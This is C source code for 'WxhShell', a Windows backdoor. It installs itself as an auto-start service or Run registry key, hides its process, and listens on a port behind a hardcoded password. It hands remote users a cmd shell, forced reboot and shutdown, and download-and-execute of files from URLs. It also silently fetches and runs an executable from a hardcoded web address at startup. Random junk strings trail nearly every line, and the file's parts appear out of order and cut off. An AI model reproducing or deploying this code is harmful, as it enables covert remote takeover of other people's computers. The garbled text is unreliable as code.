    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GDLw_usV  
    else { xvl$,\iqE  
    closesocket(wsh); v,")XPY  
    ExitThread(0); 8maWF.xq  
    } 5FZw (E  
    break; ,z&S;f.f  
    } Lc!2'Do;  
  // 获取shell }nrjA0WN  
  case 's': { +&.zwniSS  
    CmdShell(wsh); 15ailA&(Qm  
    closesocket(wsh); fRS;6Jc  
    ExitThread(0); # xtH6\X  
    break; xmg3,bO  
  } eiK_JPFA-  
  // 退出 *PF<J/Pr  
  case 'x': { .n<vhLDQn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $zP5Hzx  
    CloseIt(wsh); 2yA)SGri  
    break; U[wx){[|  
    } bq/Aopfr  
  // 离开 kj6:P$tH  
  case 'q': { "2mPWRItO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y% bIO6u:  
    closesocket(wsh); 4c5BlD  
    WSACleanup(); %IsodtkDu  
    exit(1); f.w",S^  
    break; PK]3uh  
        } +byOThuE  
  } & ijz'Sg3  
  } ]dUG=dWO  
_a$qsY  
  // 提示信息 ^xe+(83S2?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @!`__>K  
} @R&d<^I&M  
  } 'AA9F$Dz  
atyvo0fNd  
  return; 4!dc/K  
} XPdmz!,b  
kqBZsfF  
// shell模块句柄 U3_${  
int CmdShell(SOCKET sock) -8l<5g7  
{ Qx)b4~F?  
STARTUPINFO si; *(9Tl]w  
ZeroMemory(&si,sizeof(si)); GLsa]}m,9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3E*|^*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (=j;rfvP  
PROCESS_INFORMATION ProcessInfo; b~aM=71  
char cmdline[]="cmd"; ](Fey0@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /DAR'9@h  
  return 0; J ?o  
}  qb? <u  
! I:N<  
// 自身启动模式 kX8C'D4 gX  
int StartFromService(void) ZJ3g,dc  
{ -#ZvjEaey  
typedef struct PYCN3s#Gi  
{ sh :$J[  
  DWORD ExitStatus; M=iTwK  
  DWORD PebBaseAddress; @j|E"VYY  
  DWORD AffinityMask; &5 "!  0  
  DWORD BasePriority; 3^/w`(-{@  
  ULONG UniqueProcessId; >V6t L;+  
  ULONG InheritedFromUniqueProcessId; }Ulxt:}   
}   PROCESS_BASIC_INFORMATION; r `PJb5^\|  
wtS*-;W  
PROCNTQSIP NtQueryInformationProcess; ,ua1sTgQ  
0:V /z3?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \V-N~_-H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )ce 6~   
0he3[m}Nr  
  HANDLE             hProcess; u''Ce`N  
  PROCESS_BASIC_INFORMATION pbi; #*g=F4>t  
j4/[Z'5ny  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s!IIvF  
  if(NULL == hInst ) return 0; 3-/|G-4k7  
]y@A=nR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Da-Lf2qT9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d"XZlEV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t'U=K>7  
eIvZhi  
  if (!NtQueryInformationProcess) return 0; phy}Hk/  
av'm$I|O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oh{>nwH  
  if(!hProcess) return 0; 7DAP_C  
w5>[hQR\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ||:> &  
%0GwO%h},  
  CloseHandle(hProcess); \OW:-  
8 W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gKh*q.  
if(hProcess==NULL) return 0; NsB]f{7>8+  
19$A!kH\  
HMODULE hMod; /S]$Hu|  
char procName[255]; %5e|  
unsigned long cbNeeded; W1REF9i){  
p]kEH\ sh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SW9 C 8Q  
 {b!{~q  
  CloseHandle(hProcess); YdhV a!Y  
<@Q27oEuA  
if(strstr(procName,"services")) return 1; // 以服务启动 d]0:r]e  
w;,34qbf  
  return 0; // 注册表启动 T?RY~GA  
} m}l);P^  
o898pg  
// 主模块 27!F B@k-  
int StartWxhshell(LPSTR lpCmdLine) {4S UG o>  
{ ~uhW~bT  
  SOCKET wsl; AMyg>n!  
BOOL val=TRUE; Y#os6|MV#  
  int port=0; ~:Rbd9IB  
  struct sockaddr_in door; 0z/*JVka  
TnQ>v{Rx  
  if(wscfg.ws_autoins) Install(); $9YQ aN%  
Pxl,"  
port=atoi(lpCmdLine); :'T+`(  
2^B_iyF;  
if(port<=0) port=wscfg.ws_port; "AagTFs(i  
=NY;#Jjn  
  WSADATA data; {]\7 M|9\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wa@Rlzij>  
!Q>xVlPVu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   { { \oC$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $UzSPhv[  
  door.sin_family = AF_INET; EGl<oxL*R2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZS.=GjK  
  door.sin_port = htons(port); M@T{uo  
v-#,@&Uwq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )+L|<6JXA  
closesocket(wsl);  Gsh9D  
return 1; obvE m[x!Z  
} +<Gp >c  
MnD}i&k[  
  if(listen(wsl,2) == INVALID_SOCKET) { <{W{ Y\_A>  
closesocket(wsl); $z_yx `5  
return 1; :aOR@])>o  
} ^=x/:0  
  Wxhshell(wsl); ;n't:yQW  
  WSACleanup(); f9#zV2ke]  
)5@P|{FF  
return 0; ykC3Z<pI.  
E+Bc>xl@ m  
} ~R;/u")@e  
)1 -<v);  
// 以NT服务方式启动 XHA|v^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _WNbuk0  
{ S]@;`_?m{  
DWORD   status = 0; @K <Onh`  
  DWORD   specificError = 0xfffffff; J!om"h  
sV#%U%un  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~Z5AImR|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bv7FZK3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bo#xqSGQ  
  serviceStatus.dwWin32ExitCode     = 0; YXp\C"~g  
  serviceStatus.dwServiceSpecificExitCode = 0; vN(~}gOd\  
  serviceStatus.dwCheckPoint       = 0; G/JGb2I/7|  
  serviceStatus.dwWaitHint       = 0; uBts?02  
7>f2P!:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Milp"L?B%  
  if (hServiceStatusHandle==0) return; ~B[e*| d  
6c!F%xU}  
status = GetLastError(); #H7 SLQr\  
  if (status!=NO_ERROR) JLm3qIC  
{ Dspvc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |-ZML~2S=h  
    serviceStatus.dwCheckPoint       = 0; vP,pK=5  
    serviceStatus.dwWaitHint       = 0; Zd-qBOB2L  
    serviceStatus.dwWin32ExitCode     = status; =bh: U90y  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1{M?_~g 4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y CHOg  
    return; VKPEoy8H  
  } i1x4$}  
*w;?&)8%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S }`f&  
  serviceStatus.dwCheckPoint       = 0; f2c <-}wR  
  serviceStatus.dwWaitHint       = 0; .QP`Qn6(P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fBh"  
} h 8$.mQr  
U LS>v  
// 处理NT服务事件,比如:启动、停止 B!mHO*g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3PkZXeH/  
{ fYuSfB+<  
switch(fdwControl) V(Pw|u" e  
{ koT3~FK  
case SERVICE_CONTROL_STOP: n#}@| "J  
  serviceStatus.dwWin32ExitCode = 0; fK:4jl-r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A!GvfmzqIn  
  serviceStatus.dwCheckPoint   = 0; CE M4E  
  serviceStatus.dwWaitHint     = 0; W^09tx/I  
  { 07SW$INb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O`CZwXD  
  } S$SCW<LuN  
  return; /\Nc6Z/ L  
case SERVICE_CONTROL_PAUSE: FV9{u[3m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X[Iy6qt  
  break; zx<t{e7  
case SERVICE_CONTROL_CONTINUE: gH7  +#/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u)h {"pP  
  break; @MibKj>o  
case SERVICE_CONTROL_INTERROGATE: _v#pu Fy  
  break; Xj]9/?B?  
}; \ C:Gx4K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I+Fy)=DO9  
}  p[&J l  
:sw5@JdJ  
// 标准应用程序主函数 D?y-Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8/p ]'BLf  
{ ->pU!f)\X  
>&HW6 c  
// 获取操作系统版本 8L:AmpQdpA  
OsIsNt=GetOsVer(); mKtMI!FR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U;3t{~Ym  
h];H]15&  
  // 从命令行安装 A)~ oD_ooQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;F1y!h67<  
xpp nBnu$7  
  // 下载执行文件 +8ib928E  
if(wscfg.ws_downexe) { $G <r2lPy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [<i3l'V/[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5 `TMqrk  
} N'{Yhx u  
~I N g9|  
if(!OsIsNt) { :kcqf,7  
// 如果时win9x,隐藏进程并且设置为注册表启动 &(<>} r  
HideProc(); <`-sS]=d}  
StartWxhshell(lpCmdLine); o.Ww .F  
} QN;5+p[N  
else Mm,\e6#*  
  if(StartFromService()) 3US`6Y"  
  // 以服务方式启动 YCP D+  
  StartServiceCtrlDispatcher(DispatchTable); #<Y3*^~5d  
else CSjd&G *ZB  
  // 普通方式启动 3_G0eIE"u  
  StartWxhshell(lpCmdLine); i<m) s$u  
dSjO 12b  
return 0; 7_36xpw  
} gHh (QRA  
RCa1S^.  
e\(X:T  
k t`ln  
=========================================== tWl' )^  
P_jav 0j7g  
fph+ 05.%  
:BR_%$  
O6e$vI@  
J|jvqt9C  
" % dFz[b  
\$Ky AWrZi  
#include <stdio.h> DMA7eZf'Hv  
#include <string.h> %npLgCF  
#include <windows.h> P;(@"gD8z5  
#include <winsock2.h> O_s /BoB@  
#include <winsvc.h> %gn@B2z  
#include <urlmon.h> Xqe Qj}2kA  
Y\<w|LkD8  
#pragma comment (lib, "Ws2_32.lib") U5ph4G  
#pragma comment (lib, "urlmon.lib") VQf^yq  
C<C^7-5  
#define MAX_USER   100 // 最大客户端连接数 QNE/SSL  
#define BUF_SOCK   200 // sock buffer w)K547!00  
#define KEY_BUFF   255 // 输入 buffer lNc0znY  
PC"=B[OlJ  
#define REBOOT     0   // 重启 = ZoNkj/^,  
#define SHUTDOWN   1   // 关机 D$KP>G  
| J'k 9W"  
#define DEF_PORT   5000 // 监听端口 RpU i'  
(Of`VT3ZOA  
#define REG_LEN     16   // 注册表键长度 $#%R _G]  
#define SVC_LEN     80   // NT服务名长度 p4O[X\T  
iiuT:r  
// 从dll定义API x]Nx,tt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2OI 0B\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0 -M i q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xc'uC bH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (MqQ3ys  
9pi{)PDJ  
// wxhshell配置信息 %q r,Ssa/  
struct WSCFG { @) MG&X  
  int ws_port;         // 监听端口 jB9~'>JY  
  char ws_passstr[REG_LEN]; // 口令 &B :L9^  
  int ws_autoins;       // 安装标记, 1=yes 0=no [+5g 9tBJ  
  char ws_regname[REG_LEN]; // 注册表键名 lO9Ixhf~iu  
  char ws_svcname[REG_LEN]; // 服务名 G]xYQ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |$\1E+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |61ns6i!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4TQmEM,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dg~m}La  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2 N(Z^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +MYrNR.p  
Qru&lAYc<  
}; RI<s mt.Ng  
C:AV?  
// default Wxhshell configuration wYFkGih  
struct WSCFG wscfg={DEF_PORT, UZ<.R"aK  
    "xuhuanlingzhe", C_ ;nlG6  
    1, VNz? e&>  
    "Wxhshell", _ZJQE>]nWu  
    "Wxhshell", Nz"K`C>/  
            "WxhShell Service", %c$|.TkX  
    "Wrsky Windows CmdShell Service", `o9:6X?RA  
    "Please Input Your Password: ", @ZYJY  
  1, 2>.b~q@  
  "http://www.wrsky.com/wxhshell.exe", mo tW7|p.e  
  "Wxhshell.exe" ZLVgK@l  
    }; "7fEL:|j  
sm?b,T/  
// 消息定义模块 M4;M.zxJv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F;/^5T3wI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fGH)Fgo`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #u"@q< )  
char *msg_ws_ext="\n\rExit."; FP y}Wc*UA  
char *msg_ws_end="\n\rQuit."; 6]GHCyo  
char *msg_ws_boot="\n\rReboot..."; st.{AEv@  
char *msg_ws_poff="\n\rShutdown..."; (-;(wCEE  
char *msg_ws_down="\n\rSave to "; W}7Uh b  
6o]{< T/'  
char *msg_ws_err="\n\rErr!"; ',|OoxhbK  
char *msg_ws_ok="\n\rOK!"; M a{@b$>  
ET H ($$M  
char ExeFile[MAX_PATH]; 3DCR n :  
int nUser = 0; ze LIOw  
HANDLE handles[MAX_USER]; }U9dzU14  
int OsIsNt; <AJRU l  
4S+E% b|)  
SERVICE_STATUS       serviceStatus; 7c%dSs6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SMd[*9l [  
b{<$OVc  
// 函数声明  MkdC*|  
int Install(void); \Lbwfd=  
int Uninstall(void); grI#'x  
int DownloadFile(char *sURL, SOCKET wsh); ;K4=fHl  
int Boot(int flag); l  ~xXy<  
void HideProc(void); a3:45[SO4e  
int GetOsVer(void); Mj2Dat`p9  
int Wxhshell(SOCKET wsl); gQ{<2u  
void TalkWithClient(void *cs); '%+LQ"Bp  
int CmdShell(SOCKET sock); Cnc=GTR i  
int StartFromService(void); G^;]]Ji"  
int StartWxhshell(LPSTR lpCmdLine); .;U?%t_7  
BTO l`U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lR F5/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +wHa)A0MW  
bF;|0X$ x  
// 数据结构和表定义 4v(?]]X  
SERVICE_TABLE_ENTRY DispatchTable[] = 'm<L}d  
{ VD!PF'  
{wscfg.ws_svcname, NTServiceMain}, xudZ7   
{NULL, NULL} .'l3NV^{  
}; o8A8fHl  
wvxqgXnB\  
// 自我安装 KB~`3Wj|Z  
int Install(void)  *ni0.  
{ WU/5i 8  
  char svExeFile[MAX_PATH]; hp7ni1V  
  HKEY key; *.A-UoHa  
  strcpy(svExeFile,ExeFile); (KvN#d 1\  
%Zfh6Bl\X  
// 如果是win9x系统,修改注册表设为自启动 cF iTanu  
if(!OsIsNt) { <)J@7@!P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A??a:8id^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jCx*{TO  
  RegCloseKey(key); 1x sJz^%V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;<cCT!A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P;X0L{u0H  
  RegCloseKey(key); |1<B(iB'{/  
  return 0; l Ny<E!0  
    } nc.P  
  } bx7hQzoX=b  
} ,WoB)V.{(  
else { }`2+`w%uZ  
az}zoFl  
// 如果是NT以上系统,安装为系统服务 R(}!gv}s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;d}n89DXj  
if (schSCManager!=0) %X\Rfn0J"  
{ A-^B ?E  
  SC_HANDLE schService = CreateService hsK(09:J  
  ( E1A5<^t  
  schSCManager, O|9Nl*rXz  
  wscfg.ws_svcname, q}E'x/s2m  
  wscfg.ws_svcdisp, h9nh9a(2  
  SERVICE_ALL_ACCESS, hA`9[58/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O!F"w !5@  
  SERVICE_AUTO_START, 0N6 X;M{zh  
  SERVICE_ERROR_NORMAL, wSALK)T1{  
  svExeFile, SM<qb0  
  NULL, ;ae6h [  
  NULL, Kr4%D*  
  NULL, daf-B-  
  NULL, ,z((?h,nm  
  NULL 6hFs{P7  
  ); "`pg+t&  
  if (schService!=0) zR=g<e1xe  
  { bDegIW/'w  
  CloseServiceHandle(schService); ~ihi!u%~}  
  CloseServiceHandle(schSCManager); XNBzA3W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); # ?u bvSdU  
  strcat(svExeFile,wscfg.ws_svcname); ?]}=4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D{+D.4\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1P BnGQYM  
  RegCloseKey(key); F=UW[zy/[  
  return 0; COH.`Tv{*  
    } #S|On[Q!  
  } [eDRghK  
  CloseServiceHandle(schSCManager); g)<[-Q1  
} !_&;#j](  
} 0U2dNLc  
mm | *  
return 1; ])zpx-  
} ]go.IfH  
nF 'U*  
// 自我卸载 :mdoGb$ dr  
int Uninstall(void) u^L_X A  
{ EYZ,GT-I  
  HKEY key; \qJ^n %  
,(+ZD@Rg  
if(!OsIsNt) { ?xE'i[F @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GlT/JZ9  
  RegDeleteValue(key,wscfg.ws_regname); S2=x,c$  
  RegCloseKey(key); <1U *{y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hxj8cX UF|  
  RegDeleteValue(key,wscfg.ws_regname); /\pUA!G)BD  
  RegCloseKey(key); >k 2^A  
  return 0; 7z8   
  } 7#g<fh  
} O-+!KXHd[  
} fa/p  
else { JNA_*3 '  
;|CG9|p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <@v|~ AO4~  
if (schSCManager!=0) T zHR  
{ oIKuo~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kChCo0Q>1  
  if (schService!=0) uD`Z\@Z  
  { hnv0Loe.IW  
  if(DeleteService(schService)!=0) { DH4|lb}  
  CloseServiceHandle(schService); 1a#R7chl  
  CloseServiceHandle(schSCManager); ve*6WDK,H  
  return 0; )U2%kmt  
  } Z1DF)  
  CloseServiceHandle(schService); &Qv%~dvW  
  } sDy~<$l?  
  CloseServiceHandle(schSCManager); cdfnM%`>\  
} MIc(B_q  
} zOL*XZ0c  
8w3Wy<}y  
return 1; T(*A0  
} uq]E^#^  
\&s$?r  
// 从指定url下载文件 @N\ Ht'f  
int DownloadFile(char *sURL, SOCKET wsh) mgBxcmv  
{ 0MOn>76$N  
  HRESULT hr; wq#'o9s,  
char seps[]= "/"; =ZARJ40L  
char *token; 3>^S6h}o  
char *file; .wuRT>4G)G  
char myURL[MAX_PATH]; \Xg`@JrTM  
char myFILE[MAX_PATH]; ;;zd/n2b  
N*Xl0m(Q  
strcpy(myURL,sURL); A)f/ww)Q  
  token=strtok(myURL,seps); 1h?:gOig  
  while(token!=NULL) -k3WY&9,  
  { ]8XIw`:f  
    file=token; zS}!87r)  
  token=strtok(NULL,seps); @<p9 O0  
  } V}t8H  
J2$ =H1-  
GetCurrentDirectory(MAX_PATH,myFILE); I,?!NzB  
strcat(myFILE, "\\"); %VgK::)r  
strcat(myFILE, file); d#HN '(2t  
  send(wsh,myFILE,strlen(myFILE),0); JU-eoB}m  
send(wsh,"...",3,0); bg,VK1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l8N5}!N  
  if(hr==S_OK) x>[ gShAV!  
return 0; o){<PN|z  
else nZkMyRk  
return 1; Ea N^<  
-k@Uo(MB  
} M_F4I$V4  
DOW Z hD  
// 系统电源模块 Z , 98  
int Boot(int flag) VD2o#.7*eu  
{ RS  Vt  
  HANDLE hToken; c *Pt;m  
  TOKEN_PRIVILEGES tkp; 5ZHO+@HiFH  
wRE2rsXoU  
  if(OsIsNt) { ;UWp0d%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [AAIBb +U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @S  Quc  
    tkp.PrivilegeCount = 1; Y/34~lhyl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } 71 9_DF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #4?:4Im#  
if(flag==REBOOT) { U{-[lpd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c}#(,<8X  
  return 0; @-}!o&G0  
} ig:z[k?  
else { \&%y4=y<sE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v!rOT/I  
  return 0; H?dEgubg7]  
} o(Ro/U(Wu  
  } Sy34doAZ  
  else { (I(k$g[>  
if(flag==REBOOT) { Y@V6/D} 1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uBBW2  
  return 0; \AB*C_Ri  
} ;Q%3WD  
else { I6F $@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gjf1Ba  
  return 0; %{";RfSVX%  
} Y t0s  
} ;i;;{j@$i  
|#(g 8ua7  
return 1; lyrwm{&  
} o|c"W}W  
c jBHczkY  
// win9x进程隐藏模块 F5f1j]c  
void HideProc(void) AV["%$ :  
{ <=!|U0YV  
#Xd#Nc j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =`BPGfC b  
  if ( hKernel != NULL ) Ix|^c268o<  
  { -*&C "%e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N!=Q]\ZD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5[>N[}Ck>  
    FreeLibrary(hKernel); dZjh@yGP.  
  } WevXQ-eKm  
%Z6\W; (n  
return; Zl`sY5{1  
} N`i`[ f  
%c,CfhEV%&  
// 获取操作系统版本 u:O6MO9^  
int GetOsVer(void) jj"?#`cW  
{ U-:_4[  
  OSVERSIONINFO winfo; v@E/?\k"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |oJ R+  
  GetVersionEx(&winfo); s$;IR c5!6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aQhr$aH  
  return 1; >d#6qXKAU  
  else } T<oLvS  
  return 0; 4xNzhnp|  
} O\qY? )  
<\5Y~!)  
// 客户端句柄模块 9]TvL h3  
int Wxhshell(SOCKET wsl) {uMqd-Uu  
{ J*CfG;Y:  
  SOCKET wsh; 5mYI5~ p  
  struct sockaddr_in client; wa4(tM2  
  DWORD myID; ]gGCy '*)  
$5m_)]w4a  
  while(nUser<MAX_USER) jF%[.n[BU  
{ LC:bHM, e  
  int nSize=sizeof(client); Zr@G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PyfOBse}r  
  if(wsh==INVALID_SOCKET) return 1; `` mi9E  
1f`=U 0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )Y+?)=~  
if(handles[nUser]==0) hV4B?##O  
  closesocket(wsh); .Qeml4(`3  
else )|zna{g\  
  nUser++; 0^{?kg2o_  
  } -#?p16qz5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (Eoji7U  
g?caE)  
  return 0; j;b<oQH  
} 1z[GYRSt  
y:+s*x6Vg  
// 关闭 socket s%R'c_cGZ  
void CloseIt(SOCKET wsh) ~h*p A8^L  
{ U1^R+ *yp  
closesocket(wsh); `L=$ ,7`  
nUser--; R7 *ek_  
ExitThread(0); Li;(~_62a]  
} i\?P>:)  
p;rG aLo:u  
// 客户端请求句柄 a,N?GxK~  
void TalkWithClient(void *cs) nu#_,x<LS  
{ p@7[w@B\c  
UPkD^D,  
  SOCKET wsh=(SOCKET)cs; .%4{zaB  
  char pwd[SVC_LEN]; R'q:Fc  
  char cmd[KEY_BUFF]; ;hLne0|)}  
char chr[1]; UMJ>6 Ko8  
int i,j; <KDl2>O  
Rl"" aZ  
  while (nUser < MAX_USER) { yxa~R z/  
3y Azt*dZ  
if(wscfg.ws_passstr) { vYNh0)$%F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J12 ZdC'O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #}A >B  
  //ZeroMemory(pwd,KEY_BUFF); ep<2u x  
      i=0; 97um7n  
  while(i<SVC_LEN) { Ng} AEAFp  
"HQH]?!k  
  // 设置超时 :bA@ u>  
  fd_set FdRead; zoV-@<Eh  
  struct timeval TimeOut; "kjjq~l  
  FD_ZERO(&FdRead); \k|ZbCWg  
  FD_SET(wsh,&FdRead); ,{{uRs/  
  TimeOut.tv_sec=8; F W# S.<  
  TimeOut.tv_usec=0; :oH"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !Ax7k;T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +0O{"XM  
h,V#V1>Hu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cu\A[6g,  
  pwd=chr[0]; E5M*Gs  
  if(chr[0]==0xd || chr[0]==0xa) { ),-4\!7  
  pwd=0; 6 tbH(  
  break; Ir*,fyl  
  } [N/[7Q/y  
  i++; u= K?K  
    } snBC +`-  
<'4DMZ-G  
  // 如果是非法用户,关闭 socket w%1B_PyDg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7 '@l?u/6  
} B K'!WX  
<L__;j1Wx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4>gMe3]0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'H`_Z e<  
9zkR)C  
while(1) { eD, 7gC-  
BV&}(9z  
  ZeroMemory(cmd,KEY_BUFF); LTY@}o]\U  
1px:(8]{  
      // 自动支持客户端 telnet标准   h(I~HZ[K&T  
  j=0; d+|8({X]D8  
  while(j<KEY_BUFF) { gtHk1 9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >=2nAv/(  
  cmd[j]=chr[0]; qx"?')+  
  if(chr[0]==0xa || chr[0]==0xd) { x c-=;|s  
  cmd[j]=0; 56o?=|  
  break; dxkXt  k  
  } i)0*J?l=  
  j++; d& @KGJ  
    } ~`{HWmah  
mLO{~ruu  
  // 下载文件 IrXC/?^h  
  if(strstr(cmd,"http://")) { n\ma5"n0=\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F,e_`  
  if(DownloadFile(cmd,wsh)) O;:8mm%(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^AD/N|X^  
  else 'MM#nQ\(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QH4nb h4  
  } H#G~b""mY  
  else { 6kjBd3  
|J`YFv  
